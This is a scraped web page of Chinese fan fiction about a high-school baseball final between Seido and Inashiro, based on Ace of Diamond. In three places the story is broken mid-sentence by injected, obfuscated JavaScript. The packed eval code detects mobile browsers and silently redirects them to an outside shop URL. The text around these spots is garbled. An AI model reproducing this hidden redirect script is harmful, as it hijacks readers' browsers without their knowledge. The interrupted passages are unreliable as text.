卡尔罗斯哈哈大笑,他拍了拍成宫鸣的肩膀:“别在意身高啦鸣,投手最重要的是实力的高低,对吧?” 仓持从厕所出来:“里面都能听见你们的说话声,你们吵什么呢?” 他定睛一看,这不是稻城实业的队服吗? 御幸看着这场闹剧,忍不住插话:“好了好了,厕所也上完了,我们该回去了吧?监督还在等着呢。” “哼,我才懒得和你们计较。”成宫鸣见又出现一个不认识的青道选手,赶紧恢复平时的气势。 白鸟点点头,转身准备离开,临走前还不忘回头对成宫鸣眨眨眼:“加油哦,学长。” “白鸟京!你给我等着!”成宫鸣的怒吼在走廊里回荡。 走回去的路上,御幸无奈地看向白鸟:“你干嘛老是逗他?” 白鸟耸耸肩,笑容狡黠:“因为很有趣啊,看他炸毛的样子多可爱。而且这样他不是终于肯叫出我的名字了吗?” 御幸扶额:“你们啊……” 仓持也无语地看着白鸟:“那是稻城实业的成宫鸣?他今天会出场吗?” “我觉得很大概率会,”白鸟抬头望向走廊尽头湛蓝的天空,眼神中闪过一丝战意,“我可是很期待和他的对决呢。” 与此同时,稻城实业的三人在上完厕所回休息区的路上。 “可恶的白鸟,这一次我一定要狠狠打败他!回去就让雅前辈和海老名前辈赶紧在比赛里轰出本垒打!”成宫鸣还在气呼呼地念叨。 卡尔罗斯笑着摇头:“鸣,你也太容易被挑衅了。” 白河冷静地分析道:“今天的比赛大概率是白鸟先发,他半决赛只投了3场,今天的状态一定是完满的,150KM/H以上的四缝线直球并不好应对。” 成宫鸣突然停下脚步,握紧拳头,眼中燃烧起斗志:“那又怎么样,甲子园是属于我们的!” 白河和卡尔罗斯对视一眼,正是因为成宫鸣这种宛如耀眼的太阳般的斗志与实力,他们才心甘情愿地决定追随成宫鸣来到稻实。 回到青道的板凳席后,村田向着三人招招手:“喂就差你们了!” “怎么了?”仓持一头雾水,现在不是还在修整时间吗? “那个啊那个!”村田勾起嘴角与东清国对视一眼,“青道的口号你们都知道吧?” 三人一怔,心跳瞬间如擂鼓,来到青道的队员们谁不知道青道的圆阵口号?现在他们也是其中的一员了。 年轻的力量加入众人围成圆阵,弯腰,一手放在胸口心脏处,一只手搭在队友的背后。 有眼尖的观众注意到青道的情况大喊:“他们要喊口号了!” “我们是谁?”东清国沉声问道。 “王者青道!” “流的汗比谁都多的是谁?” “青道!” “流的泪比谁都多的是谁?” “青道!” “准备好战斗了吗?” “是!!” “将我校的荣誉铭刻于心,我们的目标只有一个——全国第一!” “全国第一!!!”众人将放在胸口的手握拳,直起身,竖起食指指向天空,放声大喊。 明治神宫球场全国高校棒球选手会西东京大会决赛 青道高中VS稻城实业高中 两个学校的选手们站成一排,裁判们站在最前方。 “敬礼!” “请多指教!” “夏季甲子园西东京预选赛最终回,稻城实业高中对战青道高中,比赛即将开始。” 一垒侧青道高中 三垒侧稻城实业高中 青道先攻 “加油啊啊啊啊啊啊青道!!!” “稻实最强!!!” 伴随着观众席中应援席的大喊和打者打击曲目的奏响,一棒村田走上打击区。 “一局上半,青道高中攻击。一棒,游击手,村田君。” 此刻站在投手丘上的高个子投手正是稻实的王牌,三年级的深川律。他是青道的老对手了,资料情报,每个前辈都非常熟悉,可熟悉不代表就好打,能成为稻实的王牌,在甲子园的洗礼下成长的投手,投球实力毋庸置疑。 “双方都是王牌先发呢。”有个观众忍不住说道。 “那是当然,你也不看看现在是什么情况,这可是决赛!两支队伍可都算半只脚踏进甲子园大门了。” 一个有着小胡子的胖胖中年男人闻言点点头,他是月刊「棒球王国」的记者峰富士夫。无论是对于稻城实业还是青道,这场比赛都到了放手一搏的时候。 他一路看着青道赢到了现在,内心也情不自禁在期待着青道的获胜。 原田冷静地摆好手套,那么第一球就按照昨天商量好的投吧,深川前辈。 稻城实业的王牌投手深川律,是一个高肩右投,最速以青道收集的资料来看,在夏甲预选赛和市大三高的半决赛上投出了目前的最速146KM/H,变化球有滑球、曲球。包含横向与纵向的变化。 深川在投手丘上深吸一口气,这是他期望的舞台,他又再一次接近了梦想之地,看着捕手的手套,他投出了这场比赛的第一球。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747848|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啪!”原田稳稳接住,村田并未挥棒。 “Strike!” 计分板上显示出这球的速度:137KM/H 青道的第一棒村田面对第一局的第一球大部分时候都会先观望,果然如此。 而第二球……原田移动手套。 村田拉紧心神专注地看着投手,第二球是……外角球!他踏步挥棒,这颗球是个靠近好球带的坏球,因为没能准确击中球心,打出了个界外球。 计分板上显示出这球的速度:143KM/H 原田则松了口气,这球的球路比预期的要高,深川前辈在第一局时投球坏球率总是偏高,好在没被打出去。 但没关系,慢慢提速,让手感变热,尽快度过前面不太稳定的时候最重要。 几球纠缠之下,村田无奈出局。 “二棒,二垒手,小凑君。” 随着小凑亮介走上打击区,观众席上一个和他有着一摸一样粉发的少年忍不住拉住妈妈的袖子:“是哥哥!” 小凑春市激动得双颊通红,刘海遮住了眼睛,柔软又羞涩的样子和站在打击区气质凌厉的小凑亮介很不一样。 “没错,亮介现在已经很厉害了。”要加油啊!小凑两兄弟的母亲忍耐住激动的心情,和春市一起眼睛亮晶晶地看着场内。 小凑亮介笑着举起球棒,那种边缘坏球对我可没有用处哦。 深川知道这个二年级的粉发打者非常擅长选球,而他也深知自己开局容易控球不稳,太过在乎这点的后果就是,面对小凑投出了一好球三坏球。 这个打者的眼睛是真的好啊,原田忍不住看了小凑一眼。那三个坏球有两个位置都还不错,可小凑一点挥棒的意思都没有。 主裁判也因为前几个坏球对这几个在好球带边缘,有些暧昧的球的判断苛刻了几分。 这样可不行。 ‘冷静深川前辈,如果放他上垒,也就意味着我们必须在第一局面对东前辈的打席了。’原田拍拍手套没有喊暂停,他知道深川前辈是可以自己调整过来的。 深川点点头,明白捕手的意思。真是,他一个前辈还需要后辈替他操心。 一记直塞外角的直球,小凑冷静地等待,他知道这对投捕绝不会轻易放自己上垒。 棒球在临近本垒时突然向着外角拐去,小凑不擅长打外角球,这球的变化又意外的犀利,棒球擦棒,被击飞落在投手丘附近。 深川的补位相当熟练,立刻从投手丘下来拿起棒球向着一垒传去,淘汰了小凑亮介。 哦?调整过来了吗?嘛……反正早就做好心里准备这是个难缠的家伙了。 “深川前辈的状态似乎回来了,最后一球是滑球,变化幅度不大,但是折射点很晚。”小凑对着正准备前往打击准备区的东清国说道。 东清国把棒子扛在肩膀上,挺着肚子:“他在前两局时的状态总是起伏不定,但不会真的掉链子。” 面对伊佐敷,深川抓住刚刚的状态,用三球直球,两好球一坏球追逼了伊佐敷,第四球的高角度滑球诱使他差点打成外野高飞球被接杀,不过伊佐敷的力气很大,硬是靠着拉打打成了界外高飞球。 “两好球追逼他了,深川加油!”稻城实业的应援区传出几声大喊。 而青道的应援区也不甘示弱,大喊道:“打出去!打出去!” 原田微微移动脚步:‘内角低位直球。’ “Strike!” “打者出局,攻守交换!” “可恶!”伊佐敷不甘心地咬牙看了走下投手丘的深川一眼。 就像东清国所说,深川没有让一个打者上垒,第一局上半并没有轮上东清国的打席。 稻实的监督国有广重是个面容很严肃的监督,他淡声道:“先发投手如我所料是那个一年级,高速球并不是无法打到的,绝不可心生畏惧!你们都是高中棒球中的精英,事已俱备,在经过切实训练的情况下,相信自己的能力!” “是!监督!” 而青道的板凳席内,做好准备的大家向着场内跑去。 “那么,我们上吧!” 42.攻防·对决 “哦——现在上场的是青道高中的一年级王牌白鸟京,说起来在棒球名门高中一年级就担任王牌投手的情况十分少见呢!” “没错,我有印象的就只有前年黑土馆的王牌财前直行。” “哈哈没错,而且不得了的是,白鸟选手目前在夏季甲子园预选赛中可是零失分哦~” “哇!” “而稻城实业中也有一个风头正盛的一年级投手。” “你是说成宫鸣吧。” “没错,成宫选手在夏甲预选赛出场的几场比赛中同样是零失分,目前他们二人是如今关注度最高的新生代投手,现在的年轻人真是厉害啊!” “也不知道他们今天的表现会如何呢?” 电视台转播的解说员们正兴致勃勃地讨论着这一场比赛。 白鸟站在投手丘上抬脚整理了一下投手板附近的土,太阳愈发炽热了。 “一局下半,稻城实业高中攻击。一棒,二垒手,竹松君。” 竹松长得高高瘦瘦的,戴着眼镜,样子和他的名字很相似。 白鸟耳边回响起昨天和御幸讨论配球时他说的话: “我觉得竹松有喜欢猜捕手配球的习惯,他很多时候的打击都很……怎么说呢,是那种头脑派的感觉,而我最喜欢这种打者了,哈哈。” 那时候一也笑得很阴险啊。 白鸟握紧棒球,看向本垒处的捕手,御幸微微点头。 侧过身准备好投球姿势,白鸟轻轻吐出一口气,猛然踏步的瞬间手臂甩出。 竹松咬牙挥棒,可球棒却连棒球的影子都没碰到。 他下意识看向计分板,上面显示的球速是146KM/H。 “怎么会……”竹松怔怔地看着那个数字,他的体感和当时特训时投球机的150KM/H差不多啊,甚至还要更快! 御幸和克里斯的嘴角同时露出笑容。 因为白鸟的四缝线速球比正常四缝线的转速更快,棒球的速度衰减就会更慢,并且会让人产生球正在上升的错觉,球并非真的上升了而是下降的幅度变小了,这可是投球机难以模仿出的,属于投手的个人特质。 直球是投手的生命线,所有变化球只有依托直球才能起作用。 “Strike!” “Strike!” “三球三振!打者出局!” 甚至是三球外角球,两球外角低位球,一球外角高位球。 竹松有尝试去提前猜测捕手的配球,但这三个外角球却像是在赤裸裸的嘲笑他的白费力气。 这个捕手……竹松咬牙瞪了御幸一眼。 观众席传来一片欢呼声,很多观众就是喜欢这种速球三振的暴力美学,让人看得十分过瘾。 竹松拿着球棒和二棒游击手高桥擦肩而过:“他的四缝线比起测速球器上的真实球速,看上去要更快!” 高桥点点头,拿着球棒走上右打席。 “二棒,游击手,高桥君。” 高桥挥挥球棒,调整了一下姿势,然后举着球棒微微晃动。 既然比看上去更快,那我就提前挥棒! 可有些东西并不是做足准备就能做到的。 “啪!”球进入手套发出响亮的声音,让人不由得担心万一砸在身上该有多痛。 “Strike!” 御幸敏锐地发觉了打者提前挥棒的动作,他摸了下捕手面具,然后比了个暗号:‘二棒喜欢打高球,他为了跟上你的球速开始提前挥棒,那我们就让他打。’ ‘下一球,高位内角快速球!’ 白鸟用手套挡住微翘的唇角,果断按照捕手的暗号投出一颗直往打者胸口砸去的直球。 高桥一喜,是他喜欢的球路,他屏息凝神,看准球路后挥动球棒—— “呯!”清脆的击球声响起。 打者脸色一变,好重! “哦?稻实的二棒高桥君打中了棒球,但是这颗球的走向似乎不太好啊。” 棒球冲天而起,结成挪动了一下脚步,看着天空,轻松接住了这个在投手丘附近的内野高飞球。 “打者出局!” “接的好结成!”青道的应援席传出一阵击打应援棒的呼和声。 高桥并没有意识到这是青道投捕的陷阱,只以为是自己错估了球的球威没能打好。 于是对着接替的三棒道:“他的球威很重。” “明白。” “三棒,左外野手,宫浦君。” 宫浦龙也,是稻实有名的外野手,拥有十分优越的球感,有时能够靠着预判球的落点提前缩小需要守备的范围,打击率也名列全国,稻实将其放在第三棒就是为了链接核心打线。 白鸟和御幸对视一眼。 “哇哦~在预谋什么呢?我可是听小成宫总是念叨你呢,青道的捕手哈哈。”宫浦面色轻松,似乎一点都没被前面队友的情况的打击到。 主裁判提醒道:“宫浦选手。” 宫浦忙夹住球棒双手合十:“抱歉抱歉,我不说了。” 他站上左打区域举起球棒,饶有兴味地盯住投手丘上的白鸟。 白鸟感到有些恶寒,对宫浦投注了冰冷的回视。 御幸为打者异于常人的反应思索了片刻,移动手套。刚刚两个打席他们投的都是好球带中的球,让他们看上去似乎非常渴望三振,吝啬于球数。 ‘那这里,就来一个好球带边缘的坏球,看看他的意图吧,如果他出棒,那这一好球我就不客气的收下了。’ 宫浦握紧球棒,聚精会神地盯住白鸟,这捕手仗着投手控球好,一直在Call好球呢,才第一局不用那么谨慎,就让他尝尝这漂亮的直球吧! 白鸟微微点头。 “搜--”白光如子弹般击穿投手丘与本垒板的距离,携着滚滚威势冲向捕手的手套。 宫浦判断出这应该是一球外角球果断挥棒,却眼睁睁看着棒球擦着球棒进入了捕手的手套。 ‘坏球?!’ “Strike!” 稻实的板凳席,国友监督歪了下脖子,冷冰冰地看着打击区的宫浦。 五棒的原田额角落下一滴汗,宫浦学长又开始了。 “哇!这球速就飚上150KM/H了,好久没在高野看见150KM/H的高速球了,真快啊!” “那当然,我赶来看青道的比赛,就是为了这个好吧。” 宫浦脸上的笑容越发明显,他调整姿势,居然是坏球啊,看来是我的打击意图太明显了,不过150KM/H的坏球,还是擦着好球带边缘的坏球,这个投手的控球确实很可以啊。 ‘喂喂喂,这个坏球用不着150KM/H的球速吧。’御幸有些无奈地看着投手丘上的白鸟,就这么不想对这个打者投坏球吗? 算了,那就如你所愿好了。 白鸟看着捕手的手套眼镜亮了一瞬,然后面无表情地看向宫浦。 ‘内角高!’ “Strike!” ‘外角、不对,又是内角?!’ “Strike!” “三球三振,打者出局!” “攻守交换!” “……”宫浦连挥三棒,只吃到了球的尾气。 国友监督的脸色愈发冰冷了。 原田扶额:宫浦前辈,你出场前监督不是交代了要多观察少出手,争取早点适应球路,让青道的投手多投几球的吗? 海老名“切”了一声,从准备区站起身。 而青道的板凳席自然一片欢呼。 “投的好啊白鸟!” “白鸟、御幸喝水!” 白鸟道谢,接过水杯猛灌了几口,虽然投球数不多,但是今天实在是热,运动几下就让人感觉口感舌燥的。 “不要喝太多哦。”御幸在一边解捕手装备一边提醒。 白鸟用空出的手比了个OK。 “呜啊……结果第一局两队都没有上垒啊。” “这不是很正常吗?两方都是强队,还都是王牌先发,有这种表现很正常。”观众席有中立的观众讨论着。 二局上半,轮到四棒东清国打击,他气势汹汹地上场,气势汹汹地下场。面对东清国,稻实的投捕果断用上了直球、滑球和曲球的组合,配合着坏球,用7球硬是让其打出高飞球,拿下了东清国。 随后结成选中四坏上垒,但随后白鸟被及时找回状态的深川淘汰,御幸击出一个安打站上一垒,但后续加藤被淘汰,青道留下两个垒包的残垒。 白鸟在板凳席看着深川跑回稻实的背影,村田轻轻拍了下他的头。 “那可是稻城实业的王牌,如果那么容易攻略我们也不会一直无法打进甲子园了,放轻松,我们总不能把防守和进攻的压力都压在你身上吧。” 白鸟一愣,随即轻轻点点头。 转过头的瞬间,村田却深深皱起眉毛,他们作为前辈可不能如此懈怠,打线要好好支援投手啊! “海老名!海老名!海老名!”稻城实业的应援区突然响起如山呼海啸的应援声。 白鸟因灵敏的听觉,略有些不适地微微皱眉。 一个身材魁梧的打者正往右打席走去,名为海老名的稻实四棒拥有极为健硕的肌肉,两道粗黑的眉毛下是极亮的双眸。 打击应援曲及时响起,海老名挥舞着球棒和应援区的粉丝们互动了几下才进入打击区。 “切,真骚包。”东清国在三垒翻了个白眼。 御幸只觉得一座山朝着自己走了过来,打者投下的阴影直接把他遮住了,他抬眸看了一眼这个超级强棒。 ‘这个体格可真不是开玩笑的……’ 海老名宛如向着白鸟示威一般将球棒指向投手丘,稻实的人顿时像受了鼓舞一般气势疯长。 感受着这种讨厌的仿佛被裹挟般的洪流,白鸟的脸色愈发冰冷,因为精力的集中那双金眸的瞳孔如猛禽般凝聚成竖状,从投手丘传来的强烈的气势让海老名笑了起来。 没错!就是这样! 御幸的眼中漾出一抹金色:‘面对这样的对手,你却想要正面对决吗?’ ‘没错,我讨厌他的气势,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海老名并没有轻视这一对投捕,相反,他简直是打起了12分的精神,能够投出如此之球的投手和其威势之下暗藏的精妙配球,投手和捕手宛如嵌合的齿轮,一同构建了这架恐怖的战车。 这个暗号,哈……白鸟侧身抬腿,毫无犹豫地甩臂,棒球倏忽间宛如瞬移般来到本垒。 “好快!” 海老名挥棒,赫赫风声令御幸的背上瞬间起了一片鸡皮疙瘩,不愧是名声在外的超级强棒,光是这挥棒力度就和前面不是一个等级的啊。 可是……这一局是我们先拿下了! “啪!!”棒球进入手套发出巨大的响声,御幸用力按住差点窜出手套的棒球,脸上因为用力留下了些许汗水。 “Strike!” “这、这是……”有人不可置信地看向计分板。 上面球速154KM/H赫然在目。 白鸟看了挥空的海老名的一眼,弯腰捡起因为投球而掉落的帽子,拍了拍上面的土灰重新戴了回去。 寂静的场地因为他的动作重新沸腾。 “白鸟!!!” “白鸟--” 他的名字响彻球场。 解说员激动地说道:“154KM/H,这个速度刷新了白鸟选手在夏甲预选赛上的最高速,他仿佛要以这个高野许久没有出现过的球速告诉人们,属于他的时代的到来!” “啊啊啊啊啊好帅!” “好厉害!” “怪不得青道让他当王牌,一年级投出154KM/H的球,我到底是正在看高野的比赛,还是职业赛啊?” “这两个家伙……”伊佐敷站在外野虽然看不清本垒处到底发生了什么,但是计分板上的球速和观众的反应,他可是看的一清二楚。 他叉着腰忍不住自豪地笑了。 虽然场上的气氛一下子向着青道倒去,但是白鸟和御幸并没有掉以轻心。 海老名也并没有因此沮丧,他只是更加迫切地想要打好第二个球,到了他这个程度的打者,往往在乎更多的,不是个人的胜负而是球队的胜负。 承认这球胜过了他没什么丢人的,但是……我要的是为队伍得分! ‘喂喂……怎么感觉气势更上一层楼了。’御幸有些惊讶,心不由得沉了下来。 ‘第二球,就给他看看那个吧~’御幸拍拍手套。 白鸟了然,他的手藏在手套中调整了一下。 第二球……会是什么呢?海老名紧盯白鸟的手,这个投手的武器库除了高速球还有滑球和二缝线,以这对投捕强攻击性的特性,第二球也许还是直球,但是……他的直觉告诉他。 不是。 赌一把吧,他的变化球也并不好打,而直球他不可能一直保持这个速度,那我就盯着直球! “第二球!青道的投捕会如何对决稻实的四棒呢?” 43.冰冷的太阳 棒球直直奔向本垒板,海老名举棒静待。 球脱手的瞬间,白鸟的指尖在缝线上一蹭,举重若轻,白球旋转着,起初是一条笔直的线,无论是放球点还是轨迹都和直球一模一样。 ‘直球?变化球?’海老名的思考时间只有一瞬,他必须在球进入本垒之前做出判断。 这也是为什么速球恐怖的原因,它留给打者的思考准备时间太短了。 ‘这球的球速比起上一球要慢一点,果然他维持不了150KM/H以上的球速。’ ‘内角球……吗?’海老名果断挥棒,他明明决定等待,此刻改变想法却也没有丝毫犹豫。 御幸一喜,他以为海老名是对着直球的轨迹挥棒,却见那根球棒微微下沉,而球像是被什么无形的线一拽,由内角突兀折射向外角的方向。 在他下意识睁大的眼中,那球就像是被吸引一般要朝着球棒撞过去。 “!” 千钧一发之际,棒球宛如活了过来,形似白鸟振翅躲过球棒优雅地没入了捕手的手套。 危机就像这道弧度一般,一闪而逝。 “Strike!” 御幸猛得松了口气,忍不住看向海老名。 海老名收回球棒叹了口气:“弧度比我想的还要大啊,录像果然看不出什么细节。” 说的轻描淡写,实际上海老名的鬓角都汗湿了,这个滑球的弧度实在是出乎他的预料,比之录像要大太多了! 所以他果然是精准选中滑球挥棒的!御幸眉毛下压,不愧是全国有名的强打,心脏差点漏跳一拍,但是回过神来,心中还是兴奋更多。 果然,能和这种强者对决的感觉,太棒了! “哦?!海老名选手挥空了!白鸟选手的滑球真漂亮啊,这个弧度,这个直到本垒板处才折射的犀利变化,真是太完美了。” “即使如此,海老名选手似乎也差点击中这枚滑球,他们之间的较量真是精彩!” “不过,现在是青道两好球领先,如果第三球能解决海老名选手,那就是三球三振了稻实的四棒,这对稻实来说会是个很大的打击吧?” 正如解说所述,第二球过后,稻实那边的气氛变得凝重了许多。 国友监督活动了下脖子,脸色十分严肃。 这个横空出世的投手究竟从何而来,他为何从来没有听说过这个少年的存在呢? 白鸟并没有因为滑球差点被击中而产生什么别的情绪,他从来不认为自己是无敌的。 全国那么多的棒球高中,那么多的棒球选手,如果认为自己的球不会被任何人击中,是不是有点太--自负了? ‘下一球要继续用变化球吗?’白鸟眼中流露出一点好奇。 御幸思索片刻,笑了:‘虽然不想给他看更多的变化球球路,但是这里我还想再使用一次滑球。’ 白鸟没意见,手套内握球的手食指与中指再次贴上缝线。 ‘不摇头吗?你的滑球刚刚差点被打出去,我却再次要求你投出一个滑球。’御幸看着投手丘上的白鸟,有些不合时宜的好奇。 白鸟眨眨眼睛:‘你是想知道,刚刚那球究竟是碰巧,还是说他真的能准确判断出我的滑球路线吧?’ 御幸心中微微一动,他的笑容变得更大,兴奋地看着白鸟:‘没错!而且我并不认为只此一球他就能摸清你滑球的虚实。’ ‘来吧!’ 捕手张开手套。 投手抬起胳膊。 打者握紧球棒。 野手绷紧神经。 棒球的有意思就在于,球投出手的那刻,所有人都预料不到会发生什么! “三球三振!三球三振!” “打者出局!” 稻实的板凳席死一般寂静,青道则欢呼声震天。 “太厉害了!白鸟!” “三振!!” “三振--” “哼,搞得好像他们赢了一样,不就一个打席吗?能代表什么?”稻实的粉丝酸溜溜地说道。 没错,就一个打席能代表什么? 可是这一刻,所有支持稻实的人心中都不由得心中扎进一根小刺,也许不痛不痒,可就是膈应得难受。 而这就是主炮、四棒所代表的意义。 那道雪白的身影站在投手丘上,极目之下是摄人心魄的力量,慕强是人的本能,下克上又是观众最喜欢的剧目,此刻的欢呼便是献给他的加冕礼。 阳光给他的轮廓镀上一层淡金色,投手像是雪原中冰冷的太阳,又像是雪山之巅的鹰隼,俯瞰着下一个躁动不安的猎物。 海老名回到板凳席脱下帽子沉声道:“抱歉,我没能打出去。” “队长!只是第一个打席而已,不能代表什么!”有队友着急地喊到。 部长林田正义点头赞同:“海老名,只是第一个打席,不用如此着急。” 国友监督双臂环胸:“他的滑球在打席上看如何?” “很厉害!”海老名并不是那种会诋毁对手的人,他坚定地看着监督,“但是下次我一定会打出去的!” “那就行了。”国友监督淡淡道。 海老名一怔,随后笑了:“是!” 作为捕手的打者,往往是御幸最擅长应对的,他知道所有捕手在击球时往往都习惯去猜测对手捕手的配球,而这种时候,就是他的领域了。 虽然已经多少见识了御幸的配球,但是原田还是情不自禁地想起成宫鸣总是碎碎念御幸没能跟他来稻实。 那张有着两道粗黑三角形的眉毛,有点略显成熟与愁苦的脸上露出一点不服气。 “三振!打者出局!” 原田:“……” 咳,这个捕手,确实有点东西啊…… “六棒,三垒手,吉泽君。” 眼神凶恶的稻城实业六棒吉泽秀明站上右打席。 啧,不仅要注意这个投手,这个捕手也是个难缠的角色吗? 吉泽看向投手丘上那双冰冷的眼睛,还真是个让人不由得升起一点敬佩的「怪物」啊……和他们的小学弟一样的天赋惊人。 御幸看向内野:‘驱前守备。’ 几个学长离开一点垒包,不动声色地向着投手丘靠拢。三振好看,但是他们的身体都要僵硬了。 白鸟活动了一下手指,看向御幸的手套。 “呯!” 白色的棒球被球棒击中,可惜位置不好,在内野落地,有所准备的小凑立刻捡起棒球,快速且动作流畅地扔给一垒的结成封杀了跑者。 “攻守交换!” “哦哦哦哦!投得真好!继续啊--” “小凑!!” “青道加油!” 迎着应援席的欢呼,几人回到板凳席。 白鸟脱下帽子拿起毛巾擦了擦汗,身上的内衬湿了一大片,和稻实核心棒次的对决并不轻松,三球三振看上去爽快,其中投手和捕手所耗费的精力也是成正比的。 “体力还足够吗?”御幸问道。 白鸟点点头:“当然,才第二局,就算你让我后面每一球都投150KM/H以上,只要能赢下比赛,我都能做到。” 拿下毛巾,白鸟金色的眼睛中流露出一点寒光。 已经站在这里,只要能赢,我什么都能做到。他相信,对面也是这么想的。 御幸望着这样的白鸟,挑起了眉毛,这状态不错啊! 虽是这么想,但他只是哈哈笑着说道:“那还是算了吧,我怕这样的话,不到五局你就要躺下了。” “我说了,我的体力已经进步很多了!”白鸟不服气地瞪了御幸一眼。 御幸摆摆手:“你还是赶紧去更衣室擦擦换一个内衬吧。” 白鸟:“……”可恶。 “感觉天气越发热了。”稻实的中坚手大塚边跑向外野边拿手在脸边扇了扇。 “就像监督说的,那个投手的体力是个弱项,在这样的天气下,他迟早会露出破绽的,那时就是我们的机会了。”右外野手富士川十分坚定。 宫浦没有说话,垂目思索着什么。 深川面对青道的下位打线时并没有放松,三振了坂井,打线又一次来到了一棒村田。 村田再一次站在左打席上,他深吸一口气,这一次他一定要冷静选球,不能被对面带着走。 第一球,内角球,村田果断挥棒。 “呯!” “界外!” 呼--村田呼出一口气,因为精力的高度集中甚至没有多为这一球的纠结一秒。 “啪!” “Ball!” 居然没挥棒?在原田的印象里,青道的一棒是个喜欢第一球观察,后面几球积极进攻的类型。 第三球,一颗好球带边缘的坏球,村田依旧没挥棒,原田感受到威胁,他移动手套。 ‘深川前辈,这里就来一颗曲球吧,一定要进好球带啊!’ 深川微微点头。 随着投手松手,棒球于高处向着本垒奔去。 村田咬紧牙关挥棒。 “呯!” 原田立刻起身大喊:“游击手!” 高桥向着球猛地一扑,可这颗被抓住球心击出的棒球倒飞的速度实在太快,掠过游击手落在内野与外野之间的位置上。 这个位置十分微妙,稻实的守备自然是经过千锤百炼的,所有人都知道该如何去做。 村田早已在棒球飞出去那刻扔掉球棒飞奔起来,看着跑垒指挥员的指示,他一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752592|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑到二垒在棒球进入二垒手手套前猛地一扑! “Safe!”裁判几乎没怎么犹豫,立刻道。 “哦哦哦哦哦哦!” “村田打得漂亮!” “跑得真快,不愧是游击手!” 村田从地上爬起,拍拍身上的土,向着板凳席笑着挥挥手。 “村田前辈好帅!!”仓持扒着栏杆大喊,兴奋地回应挥手。 深川压了压帽檐,垒上有跑者时的压力和垒上无跑者的压力不可同日而语。 “这是我们的机会。”高岛礼有些激动地看着场内的情况。 经理们正在她身边,藤原紧张地握拳放在锁骨处,眼睛紧紧盯着下一个上场的小凑。 也不知是不是时不时离垒的确实干扰了还未恢复的深川,小凑选中了四坏球登上垒包。 一二垒有人的情况让稻实的处境一下子变得危险起来。 原田立刻叫了暂停前去安抚投手。 伊佐敷走上打击区,片冈监督对其打了几个暗号:以推进垒包进行打击。 伊佐敷摸了摸帽檐。 于是,在伊佐敷牺牲打,村田登上三垒,小凑登上二垒的情况下…… 东清国——青道的主炮登上打击区。 深川忍不住在心里叹了口气,情况有点糟糕了。 他额头满是汗水,就像青道的柴崎、水谷畏惧海老名一样,他也对东清国的打击实力感知甚深。 在垒上有人的情况下与他对决,是他最不想碰到的情况。 而东清国就很兴奋了。 他哈哈大笑着挥舞着球棒,那根球棒在他手上都略显“纤细”,他的气势感染了场上内外,野手们绷紧了神经,外野手们相当明显得往后退去。 稻实部长林田额角冒汗:“国友监督,这可如何是好。” 国友监督并没有说话,他看着投手丘上的深川,作为他选出来的王牌,你的气量可不止如此啊……深川。 深川看着东清国,都是老对手了,这个情况其实也不算少见,但是他绝不想在此让步! 东清国的战意化作火焰,你可别用四坏送我上垒啊,深川! “这里稻实的投捕选择了正面对决!” 第一球,东清国挥棒。 “界外!” ‘第一球就挥棒?那可是坏球!’原田皱起眉毛。 这种极强的进攻性一直是青道的代名词,他们的打线能在未进全国的前提下依旧扬名,靠的正是这种死也要从对面身上撕下一块肉的凶残。 这极大缩小了原田的配球余地。 东清国又一次准备好打击,他那双眼睛死死盯着深川,恶意满满的眼神满是想要打出去的欲望。 第二球!快投出你的第二球!我要打! “Ball!” “切。”东清国面对这一明显的坏球没有挥棒,他又不是傻子,专给对面送好球的。 一好一坏,原田和深川都忍不住深吸了一口气。 ‘第三球,滑球!一定要投出变化来啊深川前辈!’ 深川点点头。 世界似乎突然变得很慢,球的轨迹看的很清楚,东清国庞大的身躯动起来时宛如一辆马力极强的重型车,引擎的轰鸣就是他挥棒时的破空声。 “呯!!!” “外野手!!!”原田大喊。 “哈哈哈哈!”东清国大笑着扔掉球棒跑向一垒。 村田轻松跑回本垒,小凑跑回本垒,东清国停在二垒。 这直击墙壁的一击直接为青道豪取2分。 “好样的!东!!!!” “不愧是怪物打者!” “青道首先破分,现在垒上还有跑者,稻实的危机还没有结束!”解说激动道。 片冈监督微不可见的放松了几分攥紧的手。 深川摘下帽子抹了把汗。 此局已经暂停过了,原田只能担忧地看着投手丘上的深川。 但无论有多不甘心丢失的分数,青道的打击还没有结束,深川到底挺住了,状态居然没有变差,拿下了结成的出局数。 攻守交换时,回到板凳席的功臣们受到了热烈欢迎。 “这两分拿的太好了!” “哈哈哈我厉害吧!”东清国挺着肚子放肆大笑,仙泉战的憋屈一扫而空。 小凑笑眯眯得,显然也是心情不错。 而作为此次得分的开路先锋村田,则更是已经坐在椅子上接受起了众人的供奉。 仓持递过毛巾。 “谢啦,累死了--”村田仰着头擦汗,倚在椅子上翘着二郎腿。 白鸟笑着递过去一杯水。 村田接过一饮而尽,砸吧砸吧嘴:“王牌递的水就是好喝!” 44.能做到的事情 